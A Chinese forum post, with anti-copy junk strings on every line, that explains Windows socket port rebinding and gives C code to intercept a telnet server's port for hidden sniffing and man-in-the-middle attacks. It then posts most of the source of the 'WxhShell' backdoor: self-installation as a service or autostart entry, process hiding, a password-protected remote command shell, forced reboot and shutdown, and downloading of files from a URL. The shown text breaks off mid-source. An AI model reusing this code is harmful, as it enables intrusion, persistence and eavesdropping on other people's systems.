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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: z[Z2H5[  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); A~XOK;sB  
y,^";7U  
  saddr.sin_family = AF_INET; n/?eZx1  
G#'Q~N  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); \P5>{ 2i  
44Q9* ."  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr));  ?;+^  
d<_NB]V&F  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 yT&x`3f"i  
*3P3M}3~\  
  这意味着什么?意味着可以进行如下的攻击: OZa88&  
~JAjr(G#o  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 Pu-p7:99;'  
x'zihDOI  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) Y>G*'[U  
q;ZLaX\bFl  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 }2h't.Z<u  
!5? m  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  #n=A)#'my  
</|)"OD9  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 ))p$vU3  
=?HzNA$yh  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 {:,_A  
0~qf-x  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 Z@}sCZ=#A  
Ut]2`8-  
  #include (1rJFl!  
  #include =l_rAj~I|  
  #include 6k:y$,w  
  #include    c%ZeX%p  
  DWORD WINAPI ClientThread(LPVOID lpParam);   xC[~Fyhp  
  int main() H_Iim[v#  
  { I/Sv"X6E  
  WORD wVersionRequested; *}>Bkq9h  
  DWORD ret; Q! Kn|mnN  
  WSADATA wsaData; F%9cS :  
  BOOL val; 5/ tj  
  SOCKADDR_IN saddr; ``+c`F?5  
  SOCKADDR_IN scaddr; 0{-`Th+h  
  int err; {d^Q7A:`  
  SOCKET s; K2*1T+?X  
  SOCKET sc; /%62X{=>;  
  int caddsize; V_Xy2<V  
  HANDLE mt; $4DFgvy$  
  DWORD tid;   XpR.rq$]  
  wVersionRequested = MAKEWORD( 2, 2 ); VPWxHVf  
  err = WSAStartup( wVersionRequested, &wsaData ); tp#Z@5=  
  if ( err != 0 ) { ^I@ey*$  
  printf("error!WSAStartup failed!\n"); /.7$`d  
  return -1; wu;7NatHx  
  } -E6Jf$  
  saddr.sin_family = AF_INET; sk~za  
   03~+-h& n  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 +Y^-e.UO  
#D= tX  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); |~z8<  
  saddr.sin_port = htons(23); 9cVn>Fb  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) [&1iF1)4  
  { I%pCm||p  
  printf("error!socket failed!\n"); 2^cAK t6bC  
  return -1; w/qQ(]n8  
  } DhY;pG,t  
  val = TRUE; =ZCH1J5"  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 6].yRNy"  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) :|?~B%-p[  
  { T {hyt  
  printf("error!setsockopt failed!\n"); Tf9&,!>V  
  return -1; R"m.&%n  
  } yonJd  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; 3js)niT9u  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 g@$0FY{Q  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 -X`~;=m>U  
x%b]e a  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) H%*~l  
  { [P.@1mV  
  ret=GetLastError(); '}wG"0  
  printf("error!bind failed!\n"); c80 }1  
  return -1; 1i5 vW-'4  
  } V->.|[J  
  listen(s,2); zi?qK?m  
  while(1) ;e&hM\p  
  { lH6Cd/a  
  caddsize = sizeof(scaddr); 1h#w"4  
  //接受连接请求 ~|X99?P  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); #]?,gwvTf  
  if(sc!=INVALID_SOCKET) ;yRwoTc)Y  
  { 0z#l0-NdQ  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); `l HKQwu  
  if(mt==NULL) [{6&.v  
  { /.pa ??u  
  printf("Thread Creat Failed!\n"); nG&w0de<>  
  break; MuCQxzvkhf  
  } B| $\/xO  
  } 8r7/IGFg  
  CloseHandle(mt); [i,5>YIk  
  } ,U|u-.~ZU  
  closesocket(s); Y;a6:>D%cT  
  WSACleanup(); +=n x|:no  
  return 0; |YG)NO  
  }    y)N.LS  
  DWORD WINAPI ClientThread(LPVOID lpParam) >m)2ox_B  
  { /u" cl2|  
  SOCKET ss = (SOCKET)lpParam; #C;#$|d  
  SOCKET sc; sqq/b9 uL/  
  unsigned char buf[4096]; ,g<>`={kK+  
  SOCKADDR_IN saddr; S>/I?(J  
  long num; @B>%B EC  
  DWORD val; B}TInI%H  
  DWORD ret; L<[,7V  
  //如果是隐藏端口应用的话,可以在此处加一些判断 aT`02X   
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   ^)eessZ  
  saddr.sin_family = AF_INET; ?z4uze1  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); 2i4Dal  
  saddr.sin_port = htons(23); &gKP6ANx2  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) 1*c0\:BQ;z  
  { Ggxrj'r  
  printf("error!socket failed!\n"); EmBfiuX  
  return -1; 8V53+]c$Y  
  } 0qaG#&!  
  val = 100; zm_hLk  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) d~Z:$&r  
  { Wb}0-U{S'  
  ret = GetLastError(); a#^4xy:  
  return -1; R!M|k%(  
  } `6l24_eKf  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) @Tj  6!v  
  { Z?G 3d(YT  
  ret = GetLastError(); 4*ty&s=5OJ  
  return -1; DrVbx  
  } n(F<  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) :ayO+fr#  
  { ="[+6X  
  printf("error!socket connect failed!\n"); OM"T)4z  
  closesocket(sc); ,y{fqa4  
  closesocket(ss); @_ tA"E  
  return -1; A$Jn3Xd~!  
  } zqE8PbU0M;  
  while(1) 6I6ZVSxb  
  { <?`e9o  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 "~,(Xa3x  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 B )3SiU  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 fPuQ,J2=  
  num = recv(ss,buf,4096,0); $K>d\{@+7  
  if(num>0) <3]/ms  
  send(sc,buf,num,0); ^ 8Nr %NJ  
  else if(num==0) u BW  
  break; f~(^|~ZT  
  num = recv(sc,buf,4096,0); ]a@v)aa-  
  if(num>0) %L=h}U13  
  send(ss,buf,num,0); >!ZyykAs  
  else if(num==0)  3kzGL  
  break; @0x.n\M_  
  } (V |q\XS  
  closesocket(ss); !*QA;*e  
  closesocket(sc); YUE 1 '}  
  return 0 ; Ns7l-mb  
  } j2&OYg  
fVe-esAw  
9$w)_RX9W  
========================================================== ]KII?{ <k  
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下边附上一个代码,,WXhSHELL uX 5B>32  
%L,,  
========================================================== 9~ .BH;ku  
6b 5{  
#include "stdafx.h" U";Rp&\3;  
Lm2cW$s  
#include <stdio.h> '{_tDboY  
#include <string.h> kJ:5msKwC  
#include <windows.h> !c;p4B)  
#include <winsock2.h> ,}xC) >  
#include <winsvc.h> OaVL NA^{  
#include <urlmon.h> ZkG##Jp\>  
L?5t <`#lw  
#pragma comment (lib, "Ws2_32.lib") Wh&Z *J  
#pragma comment (lib, "urlmon.lib") (IWd?,H,n  
Gl\RAmdc  
#define MAX_USER   100 // 最大客户端连接数 @!tmUme1c  
#define BUF_SOCK   200 // sock buffer S)1:*>@  
#define KEY_BUFF   255 // 输入 buffer W;j)ux7jMY  
iDe0 5f1R  
#define REBOOT     0   // 重启 cF6@.)  
#define SHUTDOWN   1   // 关机 >?\ !k c  
Ki 6BPi^  
#define DEF_PORT   5000 // 监听端口 %x)U8  
0R{R=r]  
#define REG_LEN     16   // 注册表键长度 LA(JA  
#define SVC_LEN     80   // NT服务名长度 JQv ZTwSI  
2/NWWoKw  
// 从dll定义API B,qZwc|  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); EG=>F1&M  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); 0{@Ovc  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); gM:oP.  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); T{kwy3  
 Z~:lfCK`  
// wxhshell配置信息 c8 fb)`,k  
struct WSCFG { ;( Va_   
  int ws_port;         // 监听端口 W_lNvzag  
  char ws_passstr[REG_LEN]; // 口令 t$Ji{t-  
  int ws_autoins;       // 安装标记, 1=yes 0=no }Qu 7o  
  char ws_regname[REG_LEN]; // 注册表键名 aj~@r3E ;  
  char ws_svcname[REG_LEN]; // 服务名 :D7!6}%  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 JVYYwA^ .  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 v2<gkCK^  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 lY,1 w  
int ws_downexe;       // 下载执行标记, 1=yes 0=no 6@36 1f[  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" e 2&i  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 %zVv3p:  
DEuW'.o>  
}; -i gZU>0B_  
T+( A7Qrx%  
// default Wxhshell configuration a,\u|T:g  
struct WSCFG wscfg={DEF_PORT, EnAw8Gm*  
    "xuhuanlingzhe", gpl!Iz~5  
    1, 6XqO' G  
    "Wxhshell", X~b+LG/  
    "Wxhshell", ZPog)d@!  
            "WxhShell Service", Jk{2!uP  
    "Wrsky Windows CmdShell Service", mjc:0hH  
    "Please Input Your Password: ", +#9 (T  
  1, Unk+@$E&  
  "http://www.wrsky.com/wxhshell.exe", |bUmkw  
  "Wxhshell.exe" u>@G:kt8  
    }; T!$HVHh&,}  
<<6#Uz.1  
// 消息定义模块 , X):2_m  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; nQMN2jM  
char *msg_ws_prompt="\n\r? for help\n\r#>"; $l0w{m!P  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; .w"O/6."  
char *msg_ws_ext="\n\rExit."; cE?J]5#^  
char *msg_ws_end="\n\rQuit."; *GnO&&m'B  
char *msg_ws_boot="\n\rReboot..."; `_kRvpi  
char *msg_ws_poff="\n\rShutdown..."; ax}Xsk_  
char *msg_ws_down="\n\rSave to "; yIP IA%dJ  
-hfY:W`Dz  
char *msg_ws_err="\n\rErr!"; ;bmd<1  
char *msg_ws_ok="\n\rOK!"; W;yZ$k#q}(  
s)=7tHoqB)  
char ExeFile[MAX_PATH]; Ews Ja3 `  
int nUser = 0; "[ ,XS`  
HANDLE handles[MAX_USER]; wVX0!y6  
int OsIsNt; /GNYv*  
vN+!l3O  
SERVICE_STATUS       serviceStatus; =$J2  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; CQHlSV W  
dDn:^)  
// 函数声明 6=D;K.!  
int Install(void); (6b%;2k  
int Uninstall(void); fx5vaM!  
int DownloadFile(char *sURL, SOCKET wsh); XFYl[?`G  
int Boot(int flag); ,y @3'~  
void HideProc(void); stScz#!  
int GetOsVer(void); ujedvw;sO  
int Wxhshell(SOCKET wsl); Qw+">  
void TalkWithClient(void *cs); #(G&%I A|;  
int CmdShell(SOCKET sock); A>k;o0r  
int StartFromService(void); -fv.ByyA  
int StartWxhshell(LPSTR lpCmdLine); C_/oORvK  
ycN_<  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); b6ddXM\Z  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); ZVL0S{V-mh  
WfVie6  
// 数据结构和表定义 [z9i v~  
SERVICE_TABLE_ENTRY DispatchTable[] = #</yX5!V  
{ @AFLFX]  
{wscfg.ws_svcname, NTServiceMain}, O1"!'Gk[!L  
{NULL, NULL} @2<J_Ja  
}; zc#`qa:0  
qJsEKuOs  
// 自我安装 Nx"?'-3Hm  
int Install(void) iGIaZ!j aW  
{ YH9BJ  
  char svExeFile[MAX_PATH]; P'+*d#*S  
  HKEY key; !ibp/:x  
  strcpy(svExeFile,ExeFile); "x)W3C%*S  
x0] *'^aA  
// 如果是win9x系统,修改注册表设为自启动 $ uqlJG#`  
if(!OsIsNt) { +q;^8d>  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { FVHL;J]nf1  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); /[p4. FL  
  RegCloseKey(key); AWzpk }\  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { Fpb1.Iz  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); ROS0Q9X  
  RegCloseKey(key); QB7<$Bp  
  return 0; 7?4>'  
    } &1&*(oi]X  
  } \n5,!,A  
} ?$?Ni)Z  
else { 5R4 dN=L*1  
q^s$4q  
// 如果是NT以上系统,安装为系统服务 t9kgACo/M  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); *\/UT  
if (schSCManager!=0) a?;{0I:Ln  
{ Y<B| e91C  
  SC_HANDLE schService = CreateService IpWl;i`__  
  ( q&vr;f B2  
  schSCManager, jH8F^KJM[  
  wscfg.ws_svcname, 8L#sg^1V  
  wscfg.ws_svcdisp, #pZ3xa3R  
  SERVICE_ALL_ACCESS, ~Oq(JM $M  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , m4EkL  
  SERVICE_AUTO_START, (efH>oY[  
  SERVICE_ERROR_NORMAL, UwLa9Dn^  
  svExeFile, w$pv  
  NULL, oyUf/ Sl  
  NULL, h:|aQJG5  
  NULL, Co'dZd(  
  NULL, .e6:/x~p*  
  NULL 8?PNyO-Wt5  
  ); az w8BK  
  if (schService!=0) xd* kNY  
  { 5yry$w$G)  
  CloseServiceHandle(schService); $I_aHhKt  
  CloseServiceHandle(schSCManager); D~-Ri`k.  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); xHf l>C'  
  strcat(svExeFile,wscfg.ws_svcname); |')Z;  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { 4u<oe_n  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); hgm`6TQ  
  RegCloseKey(key); Q@2Smtu~c  
  return 0; |[*b[O 1W  
    } /V,:gLpQ  
  } 6JJ%`Uojh  
  CloseServiceHandle(schSCManager); #q%&,;4  
} (mv8_~F0  
} zgLm~  
n#4Ra+dD  
return 1; xC|7"N^/  
} :}Z+K*%o-  
I&4|T<j  
// 自我卸载 4B) prQ3  
int Uninstall(void) N O'-HKHj  
{  MgA6/k  
  HKEY key; >I+O@  
t; "o,T  
if(!OsIsNt) { v-OaH81&R  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { qPWYY  
  RegDeleteValue(key,wscfg.ws_regname); oM J5;  
  RegCloseKey(key); ^"l4   
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { /KH3v!G0  
  RegDeleteValue(key,wscfg.ws_regname); lE /"  
  RegCloseKey(key); d]CRvzW  
  return 0; A!SHt7ysJ  
  } 9"&HxyOfX  
} oveW)~4  
} 41$7P[M;  
else { s2q#D.f  
 dY|(  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); ZVViu4]?y  
if (schSCManager!=0) xCGvLvFn  
{ hmQD-E{Ab  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); [@Y?'={qE  
  if (schService!=0) 5X'[{'i,  
  { PbCXcs  
  if(DeleteService(schService)!=0) { F?3a22Zg#  
  CloseServiceHandle(schService); !DXKn\aQf  
  CloseServiceHandle(schSCManager); jf@#&%AC9  
  return 0; n hS=t8H  
  } m%ak]rv([  
  CloseServiceHandle(schService); CKyX  Z  
  } S'lZ'H/  
  CloseServiceHandle(schSCManager); xrp%b1Sy  
} \ c9EE-  
} }3ty2D#/:  
c[f  
return 1; k& 2U&  
} MZv In ZS  
`a*[@a#  
// 从指定url下载文件 IR(qjm\V  
int DownloadFile(char *sURL, SOCKET wsh) lo5,E(7~h  
{ %@Bl,!BJ,  
  HRESULT hr; 5(]=?$$*t  
char seps[]= "/"; IXDj;~GF  
char *token; lQ {k  
char *file; OTY9Q  
char myURL[MAX_PATH]; cQ} ,q+GR~  
char myFILE[MAX_PATH]; IVjH.BzH9  
+mIO*UQi  
strcpy(myURL,sURL); ZEYT17g]  
  token=strtok(myURL,seps); @FKm_q  
  while(token!=NULL) SxI='z_S.f  
  { d="Oge8  
    file=token; d kVF  
  token=strtok(NULL,seps); Z ]V^s8>  
  } ;'~U5Po8  
9)9p<(b $  
GetCurrentDirectory(MAX_PATH,myFILE); mnh>gl!l  
strcat(myFILE, "\\"); roSdcQTeT  
strcat(myFILE, file); OGpy\0%  
  send(wsh,myFILE,strlen(myFILE),0); Up*1j:_O  
send(wsh,"...",3,0); M=:!d$c  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); Wn6~x2LaV  
  if(hr==S_OK) O9?t,1  
return 0; 7}>Zq`]~  
else .0+=#G>  
return 1; )WuU?Tn&  
k<(G)7'gm  
} }tJR Bb  
LS;j]!CU  
// 系统电源模块 X$Eg(^La  
int Boot(int flag) V{4=, Ax  
{ ;\-f7!s  
  HANDLE hToken; w*#B_6bG  
  TOKEN_PRIVILEGES tkp; 7~&  
pn"TFapJA  
  if(OsIsNt) { r&!Ebe-  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); $ 1lI6 = ,  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); $]LhE:!G  
    tkp.PrivilegeCount = 1; i82sMN1jl7  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; [.:SV|AF#  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); 3kqO5+,C  
if(flag==REBOOT) { @ByD=  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) >2v UFq`H  
  return 0; I "Qf};n  
} 3mef;!q  
else { 'C[{cr.`  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) 4gD;XNrV  
  return 0; D/U=zDpiB  
} ]]Bq te  
  } w1 ;:B%!H  
  else { X;:qnnO  
if(flag==REBOOT) { }Br=eaY  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) yBKEw(1  
  return 0; mv1g2f+  
} 0nOkQVMk>  
else { @~p;.=1]F  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) KYw~(+gHv2  
  return 0; =:fN  
} ^lvYj E  
} dMd2a4  
4e`GMtp  
return 1; <b.O^_zQF  
} uy'I#^Bt  
bv:M zYS  
// win9x进程隐藏模块 };{Qx  
void HideProc(void) J^w!?nk  
{ u B~C8}  
;15 j\{r  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); -tPia=^  
  if ( hKernel != NULL ) !&(^R<-id  
  { 4 * n4P  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); Qxb%P<`u  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); 6Mc&gnN  
    FreeLibrary(hKernel); /`kM0=MMa  
  } ~7 w"$H8  
DYf3>xh>xb  
return; V|\dnVQ'-%  
} E\Qm09Dj`<  
x*#9\*@EI  
// 获取操作系统版本 9cqq"-$G`  
int GetOsVer(void) "L9yG:  
{ Hd_W5R  
  OSVERSIONINFO winfo; w;p~|!  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); ~bD'QMk  
  GetVersionEx(&winfo); \cx==[&(  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) bC h  
  return 1; w<|Qezi3 w  
  else 5 (cgHr"  
  return 0; 360b`zS  
} o+0x1Ct3P  
WV&grG|  
// 客户端句柄模块 O<>cuW(l  
int Wxhshell(SOCKET wsl) wa%;'M&  
{ s&)>gE\  
  SOCKET wsh; Y;"rJxHD  
  struct sockaddr_in client; *=b36M   
  DWORD myID; aovw'O\Q  
[XbNZ6  
  while(nUser<MAX_USER) GwM(E^AG  
{ 9#MY(Hr  
  int nSize=sizeof(client); Hs`j6yuc9  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); ),rd7GB>  
  if(wsh==INVALID_SOCKET) return 1; \r`><d  
vrX@T ?>  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); > }fw7X  
if(handles[nUser]==0) = P@j*ix  
  closesocket(wsh); x_oiPu.V  
else J e"~/+  
  nUser++; ,LodP%%UV  
  } L_O*?aaZ  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); chakp!S=  
TsF>Y""*M  
  return 0; m&a 8/5  
} k0@*Up3{7  
<HB@j}qi  
// 关闭 socket l|j}Ggen  
void CloseIt(SOCKET wsh) jBMGm"NE  
{ <! Z06  
closesocket(wsh); B&rw R/d  
nUser--; A +41JMH  
ExitThread(0); HY2*5 #T  
} ~-2Gx HO`  
O6"S=o&  
// 客户端请求句柄  /C   
void TalkWithClient(void *cs) )%wNVW 0C  
{ AlA:MO]NM  
6-Id{m x  
  SOCKET wsh=(SOCKET)cs; ,X}Jpi;/  
  char pwd[SVC_LEN]; %$[#/H7=W  
  char cmd[KEY_BUFF]; -*[:3%  
char chr[1]; v}sk %f  
int i,j; G$A=Tu~  
Fk#$@^c@  
  while (nUser < MAX_USER) { b6UpE`\z  
0b(x@>  
if(wscfg.ws_passstr) { de_%#k1:L  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 2(AuhZ>  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); @hwe  
  //ZeroMemory(pwd,KEY_BUFF); gP.PyYUV  
      i=0; 3 =-V!E  
  while(i<SVC_LEN) { D"M[}$P  
DHQs_8Df  
  // 设置超时 ps_q3Cyp  
  fd_set FdRead; =/Ph ]f9  
  struct timeval TimeOut; YL&)@h  
  FD_ZERO(&FdRead); #Q1}h  
  FD_SET(wsh,&FdRead); p(!d,YSE  
  TimeOut.tv_sec=8; Q 6n!u;  
  TimeOut.tv_usec=0; 5m2f\^U  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); |8?DQhd}  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); B!1h"K5.($  
mtmTlGp6Lc  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); ^X;p8uBo  
  pwd=chr[0]; [H@71+_Q  
  if(chr[0]==0xd || chr[0]==0xa) { U:0Ma 6<  
  pwd=0; Y?ZzFd,i&  
  break; ,c,@WQ2:-  
  } 0.[tEnLZ  
  i++; )&j@={0  
    } g OK   
oA?EJ~%  
  // 如果是非法用户,关闭 socket <Hr~|oG  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); 4L_)@n}  
} >hY.F/[  
qTSe_Re  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); F :og:[  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); ?I$-im  
bTt1yO  
while(1) { xp}M5|   
1Qw_P('}  
  ZeroMemory(cmd,KEY_BUFF); sYbmL`{  
uUb`Fy9  
      // 自动支持客户端 telnet标准   ey6ujV7!  
  j=0; h[mJ=LIrg  
  while(j<KEY_BUFF) { <eZ*LK?  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); Lg~ll$ U  
  cmd[j]=chr[0]; iK=QP+^VN  
  if(chr[0]==0xa || chr[0]==0xd) { 6Yl+IP];i  
  cmd[j]=0; ~+C)0Yn  
  break; < 0YoZSNGj  
  } X'U~g$"(+  
  j++; { [3xi`0-  
    } JvK]EwR ;  
MdN0 Y@Ll  
  // 下载文件 CeeAw_*@  
  if(strstr(cmd,"http://")) { 4fL`.n1^  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); u 7:Iv  
  if(DownloadFile(cmd,wsh)) !hFhw1  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); 7Ie=(x8):  
  else [X91nUz#  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); }|%1LL^pB  
  } je5[.VTM  
  else { H'JU5nE  
{PR "}x  
    switch(cmd[0]) { u HW'F(;  
  ujzfy  
  // 帮助 \VA*3U^@  
  case '?': { [2Zl '+  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); Tw7]   
    break; 0?}n(f!S  
  } NWP!V@WG  
  // 安装 5 5m\, UG7  
  case 'i': { 2WTOu x*  
    if(Install()) }8PO m#  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); lB0`|UEb (  
    else $ nHD,h  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); l*6Zh "o:  
    break; #?V rt,n  
    } h[&"KA  
  // 卸载 Nk<^ Qv  
  case 'r': { b\"w/'XX  
    if(Uninstall()) Nke!!A}\|  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); J/O{x  
    else {}$Zff   
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); |JP19KFx'B  
    break; L SP p  
    } _CfJKp)  
  // 显示 wxhshell 所在路径 uKd4+Km  
  case 'p': { #f YB4.i~  
    char svExeFile[MAX_PATH]; vbVOWX6  
    strcpy(svExeFile,"\n\r"); \+l*ZNYM3  
      strcat(svExeFile,ExeFile); Xl$, f`f~  
        send(wsh,svExeFile,strlen(svExeFile),0); p[(I5p: L  
    break; _'LZf=V0  
    } YZj*F-}  
  // 重启 K)BQ0v.:[  
  case 'b': { MUAs(M;  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0);  m1U:&{:^  
    if(Boot(REBOOT)) 6,a H[ >W  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); Y}1c>5{bE  
    else { @phVfP"M  
    closesocket(wsh); !t^DN\\#  
    ExitThread(0); G$>QH-p  
    } aPVzOBp  
    break; sVK?sBs]  
    } b7Jxv7$e  
  // 关机 Jsysk $R  
  case 'd': { Y.\x.Hg  
